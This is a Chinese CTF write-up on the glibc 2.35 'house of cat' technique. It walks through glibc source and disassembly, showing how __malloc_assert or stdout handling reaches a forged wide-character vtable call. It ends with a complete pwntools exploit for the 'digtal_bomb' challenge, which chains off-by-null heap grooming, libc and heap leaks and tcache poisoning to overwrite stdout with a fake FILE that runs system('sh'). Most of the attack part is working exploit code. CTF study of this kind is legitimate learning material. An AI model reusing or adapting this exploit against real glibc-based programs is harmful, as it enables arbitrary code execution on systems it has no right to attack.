0x00 湾区杯被堆题斩于马下,赛后找到powchan的exp,利用堆风水打house of cat
,并且相比于板子,更特殊的点就是打stdout
并修改mode
为**-1**,不需要__malloc_assert
、exit
或者是fflush
来触发。另一个题解则是打libc-got
姑且先学习一下常规的house of cat
参考博客
本文贴出源码无特别提及皆为glibc2.35
0x01 __malloc_assert 正常情况下,glibc
的断言失败会走 __assert_fail
(在 <assert.h>
里定义)。而在 malloc
的时候,它单独定义了一个版本,走 __malloc_assert
,这样方便在 malloc
相关的代码里触发断言时输出更有针对性的错误信息 在malloc
时遇到分配错误则会触发断言,malloc.c
做了如下映射(glibc2.35
)
1 2 # define __assert_fail(assertion, file, line , function) \ __malloc_assert(assertion, file, line , function)
而__malloc_assert
实现如下
1 2 3 4 5 6 7 8 9 10 11 12 static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); }
先看__fxprintf
,我们找到
1 2 3 4 5 6 7 8 9 int __fxprintf (FILE *fp, const char *fmt, ...) { va_list ap; va_start (ap, fmt); int res = __vfxprintf (fp, fmt, ap, 0 ); va_end (ap); return res; }
1 2 3 4 5 6 7 8 9 10 11 int __vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (fp == NULL ) fp = stderr ; _IO_flockfile (fp); int res = locked_vfxprintf (fp, fmt, ap, mode_flags); _IO_funlockfile (fp); return res; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 static int locked_vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (_IO_fwide (fp, 0 ) <= 0 ) return __vfprintf_internal (fp, fmt, ap, mode_flags); wchar_t *wfmt; mbstate_t mbstate; int res; int used_malloc = 0 ; size_t len = strlen (fmt) + 1 ; if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t ))) { __set_errno (EOVERFLOW); return -1 ; } if (__libc_use_alloca (len * sizeof (wchar_t ))) wfmt = alloca (len * sizeof (wchar_t )); else if ((wfmt = malloc (len * sizeof (wchar_t ))) == NULL ) return -1 ; else used_malloc = 1 ; memset (&mbstate, 0 , sizeof mbstate); res = __mbsrtowcs (wfmt, &fmt, len, &mbstate); if (res != -1 ) res = __vfwprintf_internal (fp, wfmt, ap, mode_flags); if (used_malloc) free (wfmt); return res; }
有这样的调用链
1 __malloc_assert => __fxprintf => __vfxprintf => locked_vfxprintf => __vfprintf_internal => _IO_file_xsputn
这个__vfprintf_internal
就是printf
的内部实现 这里printf
调用_IO_file_xputn
其实就是调用vtable
函数来调用的 而后面的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int _IO_fflush (FILE *fp) { if (fp == NULL ) return _IO_flush_all (); else { int result; CHECK_FILE (fp, EOF); _IO_acquire_lock (fp); result = _IO_SYNC (fp) ? EOF : 0 ; _IO_release_lock (fp); return result; } }
fflush
也会调用vtable
中的函数 _IO_file_sync
(vtable + 0x60
),
1 __malloc_assert => fflush(stderr) => _IO_file_sync (_IO_new_file_sync)
正是这两条调用链的存在,__malloc_assert
可以用于触发 IO 攻击 如何触发呢?
最常用的就是修改topchunk
的size
0x02 虚表偏移 此前 分析过glibc2.24
及以后的vtable
检查,这个检查并不是太严格,只需要在__libc_IO_vatables
中即可,这一区域不仅仅只有_IO_file_jumps
这一个虚表,同时偏移也是我们可以控制的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; libc_hidden_data_def (_IO_wfile_jumps)
以此为例,假设我们一直一条调用链可以调用vtable
中的overflow
,我们看到偏移为vtable + 0x10
,而如果我们修改vtable
为vtable + 0x30
,那么原先对overflow
的调用就会调用到(vtable + 0x30) + 0x10
,根据偏移就会调用到seekoff
0x03 house of cat 原理 前文叙述了__malloc_assert
触发后的调用链(通过exit
触发也可以,总之找到一个触发 IO 链的方法),我们更换虚表为_IO_wfile_jumps
,再通过虚表偏移,使调用的虚表函数变为seekoff
,其定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ... } libc_hidden_def (_IO_wfile_seekoff)
无关攻击的部分省去,我们需要的是这里调用_IO_switch_to_wget_mode
函数,要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
其定义如下,同样要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
1 2 3 4 5 6 7 8 9 10 int _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ... return 0 ; } libc_hidden_def (_IO_switch_to_wget_mode)
我们只关心最前面几行,调用_IO_WOVERFLOW
的部分
1 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
这个_IO_WOVERFLOW (fp, WEOF)
函数是由_IO_FILE_plus
结构体的_wide_data
字段所指向的_IO_wide_data
结构体的_wide_vtable
字段所指向的虚表中的函数(这个攻击点和house of apple2
是一致的)。在调用_wide_vtable
中的函数时_IO_vtable_check
并没有检查虚表地址的合法性。 而_IO_WOVERFLOW
正是_wide_vtable
指向虚表偏移0x18
处的函数(_wide_vtable
字段相对_wide_data
偏移为0xe0
)
1 2 3 4 5 6 7 8 9 10 11 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
可以看到这段汇编里(glibc2.35
),rdi
就是传入的_IO_FILE_plus
结构体,[rdi+0xa0]
正是fp->_wide_data
我们可以发现这里我们可以控制到rdx
寄存器,那么也就可以打setcontext+61
来进行ROP
,见另一篇 到这里攻击手法就浮出水面了
0x04 house of cat 攻击手法 总结一下上面的原理,我们需要绕过
1 2 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base fp->_lock是一个可写地址(堆地址、libc中的可写地址)
然后布置
1 2 3 fp->_wide_data->_wide_vtable->_IO_WOVERFLOW = call_addr # 如果要控制rdx rdx = fp->_wide_data->_IO_write_ptr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; const struct _IO_jump_t *_wide_vtable ; };
以下是__malloc_assert
触发的攻击示例
1 2 3 4 5 6 7 8 9 10 fake_IO_addr = '' fake_IO = b'sh' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(rdx) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(call_addr) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(writable_addr) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p64(1 ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 )
如果用_IO_cleanup
触发的话(也就是打FSOP
),vtable
调用的是overflow
,我们需要修改虚表偏移,修改为libc_base + libc.sym["_IO_wfile_jumps"] + 0x30
,且要求rcx
不为0 然而打FSOP
的情况,还是直接打house of apple
吧
0x05 湾区杯2025 digtal_bomb 利用off-by-null
打house of cat
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "digtal_bomb_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x19d6) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def bomb (): io.recvuntil(b': ' ) io.sendline(b'0' ) io.recvuntil(b': ' ) io.sendline(b'1' ) io.recvuntil(b'guess :' ) io.sendline(b'1' ) io = start() bomb() menu = b'>>' def new (idx, size, data = b"deadbeef" ): io.recvuntil(menu) io.sendline(b'1' ) io.recvuntil(menu) io.sendline(str (idx)) io.recvuntil(menu) io.sendline(str (size)) io.send(data) def free (idx ): io.recvuntil(menu) io.sendline(b'2' ) io.recvuntil(menu) io.sendline(str (idx)) def show (idx ): io.recvuntil(menu) io.sendline(b'3' ) io.recvuntil(menu) io.sendline(str (idx)) def edit (idx, data ): io.recvuntil(menu) io.sendline(b'666' ) io.recvuntil(menu) io.sendline(str (idx)) io.send(data) new(0 , 0x410 ) new(1 , 0x100 ) new(2 , 0x430 ) new(3 , 0x430 ) new(4 , 0x100 ) new(5 , 0x480 ) new(6 , 0x420 ) new(7 , 0x100 ) free(0 ) free(3 ) free(6 ) free(2 ) new(0 , 0x450 , b'a' *0x438 +p16(0x551 )) new(2 , 0x410 ) new(3 , 0x420 ) new(6 , 0x410 ) free(6 ) free(2 ) new(2 , 0x410 ) new(6 , 0x410 ) free(6 ) free(3 ) free(5 ) new(3 , 0x4f0 , b"a" *0x488 + p64(0x431 )) new(5 , 0x3b0 ) free(4 ) new(4 , 0x108 , b"a" *0x100 + p64(0x550 )) new(6 , 0x410 ) free(3 ) new(3 , 0x18 ) show(6 ) io.recvuntil(b":\n" ) libc_base = u64(io.recvn(6 ).ljust(8 ,b'\x00' )) - 0x1ebbe0 - 0x2f100 log.success("libc_base --> " +hex (libc_base)) new(8 , 0x3f0 ) new(9 , 0x60 , b'a' * 0x18 + p64(0x91 )) new(10 , 0x3f0 ) free(6 ) show(8 ) io.recvuntil(":\n" ) heap_base= (u64(io.recv(5 ).ljust(8 , b'\x00' )) << 12 ) log.success("heap_base --> " +hex (heap_base)) stdout = libc.sym['_IO_2_1_stdout_' ] + libc_base free(4 ) free(10 ) new(10 ,0x80 , b'a' * 0x48 + p64(0x401 ) + p64((heap_base+0x10a0 )>>12 ^stdout)) fake_IO_addr = stdout fake_IO = b'sh' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym["system" ]) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) new(4 , 0x3f0 ) new(6 , 0x3f0 , fake_IO) io.interactive()